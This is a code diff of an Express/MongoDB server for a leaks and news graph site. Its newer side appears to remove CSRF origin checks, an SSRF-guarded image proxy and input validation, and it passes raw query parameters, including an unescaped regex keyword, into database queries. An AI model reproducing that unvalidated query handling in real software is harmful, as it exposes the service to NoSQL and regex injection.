|
||||||
},
|
},
|
||||||
})
|
})
|
||||||
);
|
);
|
||||||
|
|
||||||
// Prevenir CSRF: solo aceptar peticiones GET a /api desde el mismo origen
|
app.use(bodyParser.json());
|
||||||
const ORIGENES_PERMITIDOS = [
|
|
||||||
'https://upleaks.org',
|
|
||||||
'https://www.upleaks.org',
|
|
||||||
`http://localhost:${port}`,
|
|
||||||
];
|
|
||||||
app.use('/api/', (req, res, next) => {
|
|
||||||
const origin = req.headers.origin;
|
|
||||||
const referer = req.headers.referer;
|
|
||||||
// En producción detrás de nginx no hay Origin en peticiones same-site normales,
|
|
||||||
// pero sí lo habría en peticiones cross-origin maliciosas
|
|
||||||
if (origin && !ORIGENES_PERMITIDOS.includes(origin)) {
|
|
||||||
return res.status(403).json({ error: 'Origen no permitido' });
|
|
||||||
}
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
|
|
||||||
// Añadir cabecera anti-clickjacking y anti-MIME-sniffing explícitas
|
|
||||||
app.use((req, res, next) => {
|
|
||||||
res.setHeader('X-Content-Type-Options', 'nosniff');
|
|
||||||
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
|
|
||||||
next();
|
|
||||||
});
|
|
||||||
|
|
||||||
app.use(bodyParser.json({ limit: '10kb' }));
|
|
||||||
|
|
||||||
// **Definir primero las rutas de la API**
|
// **Definir primero las rutas de la API**
|
||||||
|
|
||||||
// --- Proxy de imagenes para las miniaturas del grafo ----------------------
|
|
||||||
// Sirve same-origin las og:image remotas de las noticias: WebGL/TextureLoader
|
|
||||||
// no puede texturizar imagenes cross-origin sin CORS. Endpoint PUBLICO, asi que
|
|
||||||
// lleva proteccion anti-SSRF (solo http(s), nunca IPs privadas/loopback).
|
|
||||||
const _dns = require('dns').promises;
|
|
||||||
const _net = require('net');
|
|
||||||
function _ipPrivada(ip) {
|
|
||||||
if (_net.isIPv4(ip)) {
|
|
||||||
const p = ip.split('.').map(Number);
|
|
||||||
return p[0] === 10 || p[0] === 127 || p[0] === 0
|
|
||||||
|| (p[0] === 169 && p[1] === 254)
|
|
||||||
|| (p[0] === 172 && p[1] >= 16 && p[1] <= 31)
|
|
||||||
|| (p[0] === 192 && p[1] === 168);
|
|
||||||
}
|
|
||||||
if (_net.isIPv6(ip)) {
|
|
||||||
const l = ip.toLowerCase();
|
|
||||||
return l === '::1' || l.startsWith('fc') || l.startsWith('fd')
|
|
||||||
|| l.startsWith('fe80') || l.startsWith('::ffff:');
|
|
||||||
}
|
|
||||||
return true; // desconocido -> bloquear
|
|
||||||
}
|
|
||||||
app.get('/api/img', async (req, res) => {
|
|
||||||
try {
|
|
||||||
const raw = req.query.u;
|
|
||||||
if (!raw || typeof raw !== 'string' || raw.length > 2048) return res.status(400).end();
|
|
||||||
let u;
|
|
||||||
try { u = new URL(raw); } catch (e) { return res.status(400).end(); }
|
|
||||||
if (u.protocol !== 'http:' && u.protocol !== 'https:') return res.status(400).end();
|
|
||||||
let dir;
|
|
||||||
try { dir = await _dns.lookup(u.hostname); } catch (e) { return res.status(502).end(); }
|
|
||||||
if (_ipPrivada(dir.address)) return res.status(403).end();
|
|
||||||
const ctrl = new AbortController();
|
|
||||||
const t = setTimeout(() => ctrl.abort(), 6000);
|
|
||||||
let r;
|
|
||||||
try {
|
|
||||||
r = await fetch(u.href, { signal: ctrl.signal, redirect: 'follow',
|
|
||||||
headers: { 'User-Agent': 'Mozilla/5.0 (compatible; upleaks-img/1.0)' } });
|
|
||||||
} finally { clearTimeout(t); }
|
|
||||||
const ct = r.headers.get('content-type') || '';
|
|
||||||
if (!r.ok || !ct.startsWith('image/')) return res.status(404).end();
|
|
||||||
const buf = Buffer.from(await r.arrayBuffer());
|
|
||||||
if (buf.length > 8 * 1024 * 1024) return res.status(413).end();
|
|
||||||
res.set('Content-Type', ct);
|
|
||||||
res.set('Cache-Control', 'public, max-age=86400');
|
|
||||||
return res.end(buf);
|
|
||||||
} catch (e) {
|
|
||||||
return res.status(500).end();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
app.get('/api/data', async (req, res) => {
|
app.get('/api/data', async (req, res) => {
|
||||||
console.log('Solicitud recibida en /api/data');
|
console.log('Solicitud recibida en /api/data');
|
||||||
try {
|
try {
|
||||||
|
|
@ -166,661 +49,103 @@ app.get('/api/data', async (req, res) => {
|
||||||
const wikipediaCollection = db.collection('wikipedia');
|
const wikipediaCollection = db.collection('wikipedia');
|
||||||
const noticiasCollection = db.collection('noticias');
|
const noticiasCollection = db.collection('noticias');
|
||||||
const torrentsCollection = db.collection('torrents');
|
const torrentsCollection = db.collection('torrents');
|
||||||
const imagenesCollection = db.collection('imagenes'); // analizadas por Qwen
|
const comparacionesCollection = db.collection('comparaciones');
|
||||||
const imagenesWikiCollection = db.collection('imagenes_wiki'); // scrapeadas (fallback)
|
|
||||||
const comparacionesCollection = db.collection(COMPARACIONES_COL);
|
|
||||||
|
|
||||||
// ── Sanitización y validación de parámetros ──────────────────────────────
|
// Obtener los parámetros de consulta del cliente
|
||||||
// Rechaza cualquier valor que no sea string (bloquea operator injection)
|
const { tema, subtematica, palabraClave, fechaInicio, fechaFin, nodos, complejidad } = req.query;
|
||||||
function sanitizeParam(val) {
|
console.log('Parámetros de consulta:', req.query);
|
||||||
if (typeof val !== 'string') return undefined;
|
|
||||||
return val.trim();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Lista blanca de temas válidos (evita escaneo libre de la BD)
|
// Validar que el parámetro 'tema' esté presente
|
||||||
const TEMAS_VALIDOS = new Set([
|
|
||||||
'guerra global', 'inteligencia y seguridad', 'cambio climático',
|
|
||||||
'demografía y sociedad', 'economía y corporaciones', 'otros',
|
|
||||||
'geopolítica conflictos', 'seguridad internacional espionaje',
|
|
||||||
'libertad de prensa periodismo', 'corporaciones poder económico',
|
|
||||||
'populismo extremismo', 'desinformación redes sociales',
|
|
||||||
'privacidad vigilancia masiva', 'biodiversidad medioambiente',
|
|
||||||
'inteligencia artificial tecnología',
|
|
||||||
]);
|
|
||||||
|
|
||||||
const temaRaw = sanitizeParam(req.query.tema);
|
|
||||||
const subtematica = sanitizeParam(req.query.subtematica);
|
|
||||||
const palabraClave = sanitizeParam(req.query.palabraClave);
|
|
||||||
const fechaInicio = sanitizeParam(req.query.fechaInicio);
|
|
||||||
const fechaFin = sanitizeParam(req.query.fechaFin);
|
|
||||||
const nodos = sanitizeParam(req.query.nodos);
|
|
||||||
const complejidad = sanitizeParam(req.query.complejidad);
|
|
||||||
|
|
||||||
// Validar tema contra lista blanca
|
|
||||||
const tema = temaRaw && TEMAS_VALIDOS.has(temaRaw) ? temaRaw : null;
|
|
||||||
if (!tema) {
|
if (!tema) {
|
||||||
res.status(400).json({ error: 'El parámetro "tema" es obligatorio o no válido' });
|
res.status(400).json({ error: 'El parámetro "tema" es obligatorio' });
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Validar subtematica: solo letras, números, espacios y guiones (máx 80 chars)
|
// Construir la consulta para obtener los nodos (noticias, wikipedia y torrents)
|
||||||
if (subtematica && !/^[\w\s\-áéíóúñüÁÉÍÓÚÑÜ]{1,80}$/.test(subtematica)) {
|
let nodesQuery = {
|
||||||
res.status(400).json({ error: 'subtematica no válida' });
|
tema: tema, // Usar el tema proporcionado
|
||||||
return;
|
};
|
||||||
}
|
|
||||||
|
|
||||||
// Validar palabraClave: máx 100 chars, escapar metacaracteres regex
|
|
||||||
let regexKw = null;
|
|
||||||
if (palabraClave) {
|
|
||||||
if (palabraClave.length > 100) {
|
|
||||||
res.status(400).json({ error: 'palabraClave demasiado larga' });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
regexKw = palabraClave.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
|
||||||
}
|
|
||||||
|
|
||||||
// Validar fechas: formato YYYY-MM-DD estricto
|
|
||||||
const ISO_DATE = /^\d{4}-\d{2}-\d{2}$/;
|
|
||||||
let fechaGte = null, fechaLte = null;
|
|
||||||
if (fechaInicio && fechaFin) {
|
|
||||||
if (!ISO_DATE.test(fechaInicio) || !ISO_DATE.test(fechaFin)) {
|
|
||||||
res.status(400).json({ error: 'Formato de fecha inválido (YYYY-MM-DD)' });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
fechaGte = new Date(fechaInicio);
|
|
||||||
fechaLte = new Date(fechaFin);
|
|
||||||
if (isNaN(fechaGte) || isNaN(fechaLte) || fechaGte > fechaLte) {
|
|
||||||
res.status(400).json({ error: 'Rango de fechas inválido' });
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// `new Date('2026-08-23')` es 00:00:00Z, asi que un `$lte` dejaba fuera el
|
|
||||||
// dia final entero (~2000 noticias/semana, justo las mas recientes).
|
|
||||||
// Guardamos el instante siguiente y filtramos con `$lt`.
|
|
||||||
fechaLte = new Date(fechaLte.getTime() + 24 * 60 * 60 * 1000);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Validar nodos: entero positivo entre 1 y 500
|
|
||||||
const nodosRaw = parseInt(nodos, 10);
|
|
||||||
const nodosLimit = (!isNaN(nodosRaw) && nodosRaw > 0) ? Math.min(nodosRaw, 500) : 100;
|
|
||||||
|
|
||||||
// Validar complejidad: float entre 0 y 100
|
|
||||||
const complejidadRaw = parseFloat(complejidad);
|
|
||||||
const porcentajeSimilitudMin = (!isNaN(complejidadRaw) && complejidadRaw >= 0 && complejidadRaw <= 100)
|
|
||||||
? complejidadRaw : 0;
|
|
||||||
|
|
||||||
// Construir query de MongoDB solo con valores validados
|
|
||||||
const nodesQuery = { tema };
|
|
||||||
if (subtematica) nodesQuery.subtema = subtematica;
|
if (subtematica) nodesQuery.subtema = subtematica;
|
||||||
if (regexKw) nodesQuery.texto = { $regex: regexKw, $options: 'i' };
|
if (palabraClave)
|
||||||
// El filtro de fecha (modo "semanal") y el orden por frescura se aplican SOLO
|
nodesQuery.texto = { $regex: palabraClave, $options: 'i' };
|
||||||
// a noticias: wikipedia/torrents/imagenes no tienen campo `fecha`, y meterles
|
if (fechaInicio && fechaFin) {
|
||||||
// el rango las vaciaria del grafo (perdiendo las conexiones noticia<->leak).
|
nodesQuery.fecha = {
|
||||||
//
|
$gte: new Date(fechaInicio),
|
||||||
// Dos modos, y tienen que verse distintos:
|
$lte: new Date(fechaFin),
|
||||||
// Semanal (hay rango) -> solo noticias FECHADAS dentro de la ventana,
|
};
|
||||||
// ordenadas por frescura. Las de `fecha: null`
|
}
|
||||||
// quedan fuera (un $gte nunca casa con null).
|
console.log('Consulta para nodos:', nodesQuery);
|
||||||
// Todas (sin rango) -> muestra aleatoria de TODO el archivo, incluidas
|
|
||||||
// las de `fecha: null`. Con sort({fecha:-1}) +
|
|
||||||
// limit(N) las 100 mas nuevas eran siempre las de
|
|
||||||
// esta semana, asi que los dos modos devolvian el
|
|
||||||
// mismo grafo byte a byte.
|
|
||||||
const modoSemanal = Boolean(fechaGte);
|
|
||||||
const noticiasQuery = { ...nodesQuery };
|
|
||||||
if (modoSemanal) noticiasQuery.fecha = { $gte: fechaGte, $lt: fechaLte };
|
|
||||||
// Imágenes: proporcional a nodosLimit (1/3), mínimo 3 para siempre mostrar algo
|
|
||||||
const imagenesLimit = Math.max(3, Math.floor(nodosLimit / 3));
|
|
||||||
|
|
||||||
const [wikipediaNodes, noticiasNodes, torrentsNodes, imagenesNodes, imagenesWikiNodes] = await Promise.all([
|
// Obtener el límite de nodos (con un máximo para evitar sobrecarga)
|
||||||
|
const nodosLimit = Math.min(parseInt(nodos) || 100, 500);
|
||||||
|
|
||||||
|
// Ejecutar la consulta y obtener los resultados de las colecciones
|
||||||
|
console.log('Ejecutando consulta para nodos en colecciones...');
|
||||||
|
const [wikipediaNodes, noticiasNodes, torrentsNodes] = await Promise.all([
|
||||||
wikipediaCollection.find(nodesQuery).limit(nodosLimit).toArray(),
|
wikipediaCollection.find(nodesQuery).limit(nodosLimit).toArray(),
|
||||||
modoSemanal
|
noticiasCollection.find(nodesQuery).limit(nodosLimit).toArray(),
|
||||||
? noticiasCollection.find(noticiasQuery).sort({ fecha: -1 }).limit(nodosLimit).toArray()
|
|
||||||
: noticiasCollection.aggregate([
|
|
||||||
{ $match: noticiasQuery },
|
|
||||||
{ $sample: { size: nodosLimit } },
|
|
||||||
]).toArray(),
|
|
||||||
torrentsCollection.find(nodesQuery).limit(nodosLimit).toArray(),
|
torrentsCollection.find(nodesQuery).limit(nodosLimit).toArray(),
|
||||||
imagenesCollection.find(nodesQuery).limit(imagenesLimit).toArray(),
|
|
||||||
imagenesWikiCollection.find(nodesQuery).limit(imagenesLimit).toArray(),
|
|
||||||
]);
|
]);
|
||||||
|
console.log('Nodos de Wikipedia obtenidos:', wikipediaNodes.length);
|
||||||
|
console.log('Nodos de Noticias obtenidos:', noticiasNodes.length);
|
||||||
|
console.log('Nodos de Torrents obtenidos:', torrentsNodes.length);
|
||||||
|
|
||||||
// Preferir imagenes analizadas (con keywords); si no hay, usar imagenes_wiki
|
// Combinar los nodos de las colecciones
|
||||||
const imgNodes = imagenesNodes.length > 0 ? imagenesNodes : imagenesWikiNodes;
|
|
||||||
|
|
||||||
const nodes = [...wikipediaNodes, ...noticiasNodes, ...torrentsNodes];
|
const nodes = [...wikipediaNodes, ...noticiasNodes, ...torrentsNodes];
|
||||||
|
console.log('Total de nodos combinados:', nodes.length);
|
||||||
|
|
||||||
// Nodos de texto
|
// Utilizar los nombres de archivo exactos como IDs de los nodos
|
||||||
const formattedNodes = nodes.map((result) => ({
|
const formattedNodes = nodes.map((result) => ({
|
||||||
id: result.archivo.trim(),
|
id: result.archivo.trim(), // Utilizar el nombre de archivo exacto sin normalizar
|
||||||
group: result.subtema || 'sin subtema',
|
group: result.subtema || 'sin subtema',
|
||||||
tema: result.tema || 'sin tema',
|
tema: result.tema || 'sin tema',
|
||||||
content: result.texto || '',
|
content: result.texto || '',
|
||||||
fecha: result.fecha || '',
|
fecha: result.fecha || '',
|
||||||
fuente: result.fuente || result.autor || result.source || '',
|
|
||||||
imagen_url: result.imagen_url || '',
|
|
||||||
type: 'texto',
|
|
||||||
}));
|
}));
|
||||||
|
|
||||||
// Nodos de imagen — image_url construida desde image_path absoluto
|
// Obtener los IDs de los nodos
|
||||||
const WIKI_IMAGES_BASE = WIKI_IMAGES_DIR.endsWith(path.sep)
|
const nodeIds = formattedNodes.map(node => node.id);
|
||||||
? WIKI_IMAGES_DIR
|
console.log('IDs de nodos:', nodeIds);
|
||||||
: WIKI_IMAGES_DIR + path.sep;
|
|
||||||
const imgFormattedNodes = imgNodes.map((result) => {
|
|
||||||
let relativePath = null;
|
|
||||||
if (result.image_path && result.image_path.startsWith(WIKI_IMAGES_BASE)) {
|
|
||||||
const rel = result.image_path.slice(WIKI_IMAGES_BASE.length);
|
|
||||||
// Reject paths with traversal sequences or absolute paths
|
|
||||||
if (rel && !rel.includes('..') && !rel.startsWith('/')) {
|
|
||||||
relativePath = rel;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return {
|
|
||||||
id: result.archivo.trim(),
|
|
||||||
group: result.subtema || result.tema || 'imagen',
|
|
||||||
tema: result.tema || 'sin tema',
|
|
||||||
content: result.texto || result.descripcion_wiki || '',
|
|
||||||
fecha: result.fecha || '',
|
|
||||||
fuente: result.fuente || result.autor || result.source || '',
|
|
||||||
type: 'imagen',
|
|
||||||
image_url: relativePath ? `/wiki-images/${relativePath}` : null,
|
|
||||||
label: result.subtema || result.tema || result.archivo,
|
|
||||||
};
|
|
||||||
}).filter(n => n.image_url);
|
|
||||||
|
|
||||||
const allNodes = [...formattedNodes, ...imgFormattedNodes];
|
// Leer el parámetro 'complejidad' de la query (que en tu front envías como % de similitud)
|
||||||
const formattedNodes_final = allNodes;
|
const porcentajeSimilitudMin = parseFloat(complejidad) || 0;
|
||||||
|
console.log('Porcentaje de similitud mínimo (desde complejidad):', porcentajeSimilitudMin);
|
||||||
|
|
||||||
const nodeIds = formattedNodes_final.map(node => node.id);
|
// Construir la consulta para obtener los enlaces relacionados con los nodos obtenidos
|
||||||
|
|
||||||
// Links texto-texto: filtro por complejidad del usuario.
|
|
||||||
// Links imagen-texto (source1_type='imagen'): umbral fijo de 3% porque la similitud
|
|
||||||
// TF-IDF keyword↔texto es estructuralmente baja (~3-10%) y quedarían siempre ocultos.
|
|
||||||
const IMG_UMBRAL = 3.0;
|
|
||||||
const linksQuery = {
|
const linksQuery = {
|
||||||
|
porcentaje_similitud: { $gte: porcentajeSimilitudMin },
|
||||||
noticia1: { $in: nodeIds },
|
noticia1: { $in: nodeIds },
|
||||||
noticia2: { $in: nodeIds },
|
noticia2: { $in: nodeIds },
|
||||||
$or: [
|
|
||||||
{ porcentaje_similitud: { $gte: porcentajeSimilitudMin } },
|
|
||||||
{ porcentaje_similitud: { $gte: IMG_UMBRAL }, source1_type: 'imagen' },
|
|
||||||
],
|
|
||||||
};
|
};
|
||||||
|
console.log('Consulta para enlaces:', linksQuery);
|
||||||
|
|
||||||
|
// Ejecutar la consulta y obtener los enlaces
|
||||||
|
console.log('Ejecutando consulta para enlaces...');
|
||||||
const links = await comparacionesCollection.find(linksQuery).toArray();
|
const links = await comparacionesCollection.find(linksQuery).toArray();
|
||||||
|
console.log('Enlaces obtenidos:', links.length);
|
||||||
|
|
||||||
// Limitar links por nodo: cada nodo muestra solo sus top MAX conexiones más fuertes.
|
// Formatear los enlaces sin normalizar los IDs
|
||||||
// Sin esto, los 100 nodos wikipedia del mismo tema se conectan todos entre sí
|
const formattedLinks = links.map((result) => ({
|
||||||
// (>8000 links) y forman una bola densa inmanejable.
|
|
||||||
const MAX_LINKS_PER_NODE = 8;
|
|
||||||
links.sort((a, b) => b.porcentaje_similitud - a.porcentaje_similitud);
|
|
||||||
const nodeDegree = new Map();
|
|
||||||
const selectedLinks = [];
|
|
||||||
for (const link of links) {
|
|
||||||
const n1 = link.noticia1.trim();
|
|
||||||
const n2 = link.noticia2.trim();
|
|
||||||
const d1 = nodeDegree.get(n1) || 0;
|
|
||||||
const d2 = nodeDegree.get(n2) || 0;
|
|
||||||
if (d1 < MAX_LINKS_PER_NODE && d2 < MAX_LINKS_PER_NODE) {
|
|
||||||
selectedLinks.push(link);
|
|
||||||
nodeDegree.set(n1, d1 + 1);
|
|
||||||
nodeDegree.set(n2, d2 + 1);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const formattedLinks = selectedLinks.map((result) => ({
|
|
||||||
source: result.noticia1.trim(),
|
source: result.noticia1.trim(),
|
||||||
target: result.noticia2.trim(),
|
target: result.noticia2.trim(),
|
||||||
value: result.porcentaje_similitud,
|
value: result.porcentaje_similitud,
|
||||||
}));
|
}));
|
||||||
|
|
||||||
res.json({ nodes: formattedNodes_final, links: formattedLinks });
|
// Enviar los datos al cliente en formato JSON
|
||||||
|
res.json({ nodes: formattedNodes, links: formattedLinks });
|
||||||
|
console.log('Datos enviados al cliente');
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error('Error al obtener datos:', error);
|
console.error('Error al obtener datos:', error);
|
||||||
res.status(500).json({ error: 'Error al obtener datos' });
|
res.status(500).json({ error: 'Error al obtener datos' });
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
// ── STATS: cálculo pesado → MongoDB, endpoint solo lee ─────────────────────────
|
|
||||||
const STATS_TEMAS = ['guerra global','inteligencia y seguridad','cambio climático','demografía y sociedad','economía y corporaciones'];
|
|
||||||
const STATS_TEXT_COLS = ['wikipedia','noticias','torrents','imagenes_wiki'];
|
|
||||||
|
|
||||||
async function computeAndSaveStats() {
|
|
||||||
if (!db) return;
|
|
||||||
console.log('[stats] Calculando stats...');
|
|
||||||
try {
|
|
||||||
const [wikipedia, noticias, torrents, imagenes, imagenes_wiki, comparaciones,
|
|
||||||
comp_imagen_total] = await Promise.all([
|
|
||||||
db.collection('wikipedia').countDocuments({}),
|
|
||||||
db.collection('noticias').countDocuments({}),
|
|
||||||
db.collection('torrents').countDocuments({}),
|
|
||||||
db.collection('imagenes').countDocuments({}),
|
|
||||||
db.collection('imagenes_wiki').countDocuments({}),
|
|
||||||
db.collection('comparaciones').estimatedDocumentCount(),
|
|
||||||
db.collection('comparaciones').countDocuments({ source1_type: 'imagen' }),
|
|
||||||
]);
|
|
||||||
|
|
||||||
const por_tema = {};
|
|
||||||
await Promise.all(STATS_TEMAS.map(async tema => {
|
|
||||||
const counts = await Promise.all(
|
|
||||||
STATS_TEXT_COLS.map(col => db.collection(col).countDocuments({ tema }))
|
|
||||||
);
|
|
||||||
por_tema[tema] = {};
|
|
||||||
STATS_TEXT_COLS.forEach((col, i) => { por_tema[tema][col] = counts[i]; });
|
|
||||||
}));
|
|
||||||
|
|
||||||
const subtemaRaw = await db.collection('wikipedia').aggregate([
|
|
||||||
{ $match: { tema: { $in: STATS_TEMAS } } },
|
|
||||||
{ $group: { _id: { tema: '$tema', subtema: '$subtema' }, n: { $sum: 1 } } },
|
|
||||||
{ $sort: { n: -1 } },
|
|
||||||
]).toArray();
|
|
||||||
const subtemas = {};
|
|
||||||
for (const doc of subtemaRaw) {
|
|
||||||
const { tema, subtema } = doc._id;
|
|
||||||
if (!subtemas[tema]) subtemas[tema] = [];
|
|
||||||
if (subtemas[tema].length < 10)
|
|
||||||
subtemas[tema].push({ subtema: subtema || 'sin subtema', n: doc.n });
|
|
||||||
}
|
|
||||||
|
|
||||||
const notSubRaw = await db.collection('noticias').aggregate([
|
|
||||||
{ $match: { tema: { $in: STATS_TEMAS } } },
|
|
||||||
{ $group: { _id: { tema: '$tema', subtema: '$subtema' }, n: { $sum: 1 } } },
|
|
||||||
{ $sort: { n: -1 } },
|
|
||||||
]).toArray();
|
|
||||||
const subtemas_noticias = {};
|
|
||||||
for (const doc of notSubRaw) {
|
|
||||||
const { tema, subtema } = doc._id;
|
|
||||||
if (!subtemas_noticias[tema]) subtemas_noticias[tema] = [];
|
|
||||||
if (subtemas_noticias[tema].length < 8)
|
|
||||||
subtemas_noticias[tema].push({ subtema: subtema || 'sin subtema', n: doc.n });
|
|
||||||
}
|
|
||||||
|
|
||||||
const compImgRaw = await db.collection('comparaciones').aggregate([
|
|
||||||
{ $match: { source1_type: 'imagen' } },
|
|
||||||
{ $group: {
|
|
||||||
_id: '$tema',
|
|
||||||
count: { $sum: 1 },
|
|
||||||
avg_sim: { $avg: '$porcentaje_similitud' },
|
|
||||||
max_sim: { $max: '$porcentaje_similitud' },
|
|
||||||
}},
|
|
||||||
]).toArray();
|
|
||||||
const comp_imagen = { total: comp_imagen_total, por_tema: {} };
|
|
||||||
for (const d of compImgRaw) {
|
|
||||||
comp_imagen.por_tema[d._id] = {
|
|
||||||
count: d.count,
|
|
||||||
avg_sim: Math.round(d.avg_sim * 10) / 10,
|
|
||||||
max_sim: Math.round(d.max_sim * 10) / 10,
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// $sample sin filtro — 99.94% de docs son texto-texto
|
|
||||||
const simRaw = await db.collection('comparaciones').aggregate([
|
|
||||||
{ $sample: { size: 3000 } },
|
|
||||||
{ $group: { _id: null, avg_sim: { $avg: '$porcentaje_similitud' }, max_sim: { $max: '$porcentaje_similitud' } } },
|
|
||||||
]).toArray();
|
|
||||||
const comp_texto = simRaw[0]
|
|
||||||
? { avg_sim: Math.round(simRaw[0].avg_sim * 10) / 10, max_sim: Math.round(simRaw[0].max_sim * 10) / 10 }
|
|
||||||
: { avg_sim: 0, max_sim: 0 };
|
|
||||||
|
|
||||||
const snapshot = {
|
|
||||||
_id: 'stats',
|
|
||||||
computed_at: new Date(),
|
|
||||||
totales: { wikipedia, noticias, torrents, imagenes, imagenes_wiki, comparaciones },
|
|
||||||
por_tema, subtemas, subtemas_noticias, comp_imagen, comp_texto,
|
|
||||||
};
|
|
||||||
|
|
||||||
await db.collection('stats_cache').replaceOne({ _id: 'stats' }, snapshot, { upsert: true });
|
|
||||||
console.log('[stats] Stats guardadas en MongoDB');
|
|
||||||
} catch (e) {
|
|
||||||
console.error('[stats] Error calculando stats:', e.message);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Calcular al arrancar (si no hay cache o tiene más de 6h) y luego cada 6h
|
|
||||||
async function initStats() {
|
|
||||||
if (!db) return;
|
|
||||||
const cached = await db.collection('stats_cache').findOne({ _id: 'stats' });
|
|
||||||
const sixHours = 6 * 60 * 60 * 1000;
|
|
||||||
if (!cached || !cached.computed_at || Date.now() - new Date(cached.computed_at).getTime() > sixHours) {
|
|
||||||
computeAndSaveStats(); // async, no bloquea el arranque
|
|
||||||
}
|
|
||||||
setInterval(computeAndSaveStats, sixHours);
|
|
||||||
}
|
|
||||||
|
|
||||||
app.get('/api/stats', async (req, res) => {
|
|
||||||
try {
|
|
||||||
if (!db) return res.status(500).json({ error: 'Sin conexión a BD' });
|
|
||||||
const cached = await db.collection('stats_cache').findOne({ _id: 'stats' });
|
|
||||||
if (!cached) return res.status(503).json({ error: 'Stats aún calculándose, intenta en unos minutos' });
|
|
||||||
const { _id, ...data } = cached;
|
|
||||||
res.json(data);
|
|
||||||
} catch (e) {
|
|
||||||
console.error('Error /api/stats:', e);
|
|
||||||
res.status(500).json({ error: 'Error al obtener estadísticas' });
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// **Buzón seguro: recepción de material de colaboradores/periodistas**
|
|
||||||
const TEMAS_VALIDOS = new Set([
|
|
||||||
'guerra global', 'inteligencia y seguridad', 'cambio climático',
|
|
||||||
'economía y corporaciones', 'demografía y sociedad', 'otros',
|
|
||||||
]);
|
|
||||||
|
|
||||||
// Página HTML de resultado (para envíos desde el formulario nativo, sin JavaScript)
|
|
||||||
function renderSubmitPage(payload) {
|
|
||||||
const ok = payload.ok;
|
|
||||||
const inner = ok
|
|
||||||
? `<div class="tag ok">Envío recibido</div>
|
|
||||||
<h1>Gracias. Tu material está a salvo.</h1>
|
|
||||||
<p>Guarda este código de referencia. Es tu único identificador y no lo compartas por canales inseguros:</p>
|
|
||||||
<div class="ref">${payload.ref}</div>
|
|
||||||
<p class="small">No hemos registrado tu IP. Si dejaste un contacto, te escribiremos por ahí.</p>`
|
|
||||||
: `<div class="tag err">No se pudo enviar</div>
|
|
||||||
<h1>Algo ha fallado</h1>
|
|
||||||
<p>${(payload.error || 'Inténtalo de nuevo.').replace(/[<>&]/g, '')}</p>`;
|
|
||||||
return `<!DOCTYPE html><html lang="es"><head><meta charset="UTF-8">
|
|
||||||
<meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex">
|
|
||||||
<title>UP-LEAKS // ${ok ? 'envío recibido' : 'error'}</title>
|
|
||||||
<style>
|
|
||||||
@font-face{font-family:'Fira Code';src:url('/fonts/fira-code-400.woff2') format('woff2');font-weight:400}
|
|
||||||
@font-face{font-family:'Fira Code';src:url('/fonts/fira-code-700.woff2') format('woff2');font-weight:700}
|
|
||||||
*{box-sizing:border-box;margin:0}
|
|
||||||
body{min-height:100vh;display:flex;align-items:center;justify-content:center;padding:24px;
|
|
||||||
font-family:'Fira Code',monospace;color:#d7f5d0;text-align:center;
|
|
||||||
background:linear-gradient(rgba(0,0,0,.86),rgba(0,8,0,.95)),url('/images/flujos6.jpg') center/cover fixed;}
|
|
||||||
.card{max-width:560px;background:rgba(6,10,6,.75);border:1px solid rgba(57,255,20,.35);
|
|
||||||
backdrop-filter:blur(8px);padding:44px 38px;box-shadow:0 0 60px -20px rgba(57,255,20,.5)}
|
|
||||||
.tag{display:inline-block;font-size:12px;letter-spacing:.18em;text-transform:uppercase;padding:4px 12px;border:1px solid;margin-bottom:18px}
|
|
||||||
.tag.ok{color:#39ff14;border-color:#39ff14}.tag.err{color:#ff2d2d;border-color:#ff2d2d}
|
|
||||||
h1{font-size:clamp(24px,4vw,32px);margin-bottom:14px;font-weight:700;line-height:1.15}
|
|
||||||
p{color:#8fb98a;font-size:15px;line-height:1.6;margin-bottom:14px}.small{font-size:13px;color:#6f9a6a}
|
|
||||||
.ref{font-size:22px;font-weight:700;color:#39ff14;letter-spacing:.08em;text-shadow:0 0 12px rgba(57,255,20,.6);
|
|
||||||
border:1px dashed rgba(57,255,20,.5);padding:14px;margin:20px 0}
|
|
||||||
.btn{display:inline-block;margin-top:16px;color:#39ff14;text-decoration:none;border:1px solid #39ff14;
|
|
||||||
padding:12px 28px;text-transform:uppercase;letter-spacing:.06em;font-weight:700;font-size:13px;transition:.18s}
|
|
||||||
.btn:hover{background:#39ff14;color:#000;box-shadow:0 0 18px -2px rgba(57,255,20,.7)}
|
|
||||||
</style></head><body><div class="card">${inner}
|
|
||||||
<a class="btn" href="/journalist.html">${ok ? 'volver al buzón' : 'reintentar'}</a></div></body></html>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
function sendSubmitResult(req, res, status, payload) {
|
|
||||||
const wantsHtml = (req.body && req.body.render === 'html') || (req.headers.accept || '').includes('text/html');
|
|
||||||
if (wantsHtml) return res.status(status).type('html').send(renderSubmitPage(payload));
|
|
||||||
return res.status(status).json(payload);
|
|
||||||
}
|
|
||||||
|
|
||||||
app.post('/api/submit', submitRateLimit, (req, res) => {
|
|
||||||
submitUpload.array('adjuntos', 8)(req, res, async (err) => {
|
|
||||||
if (err) {
|
|
||||||
const msg = err.code === 'LIMIT_FILE_SIZE'
|
|
||||||
? 'Algún archivo supera el límite de 50 MB.'
|
|
||||||
: (err.code === 'LIMIT_FILE_COUNT' ? 'Máximo 8 archivos por envío.' : 'Error al subir los archivos.');
|
|
||||||
return sendSubmitResult(req, res, 400, { ok: false, error: msg });
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
// Honeypot anti-bots: si el campo oculto viene relleno, descartamos en silencio.
|
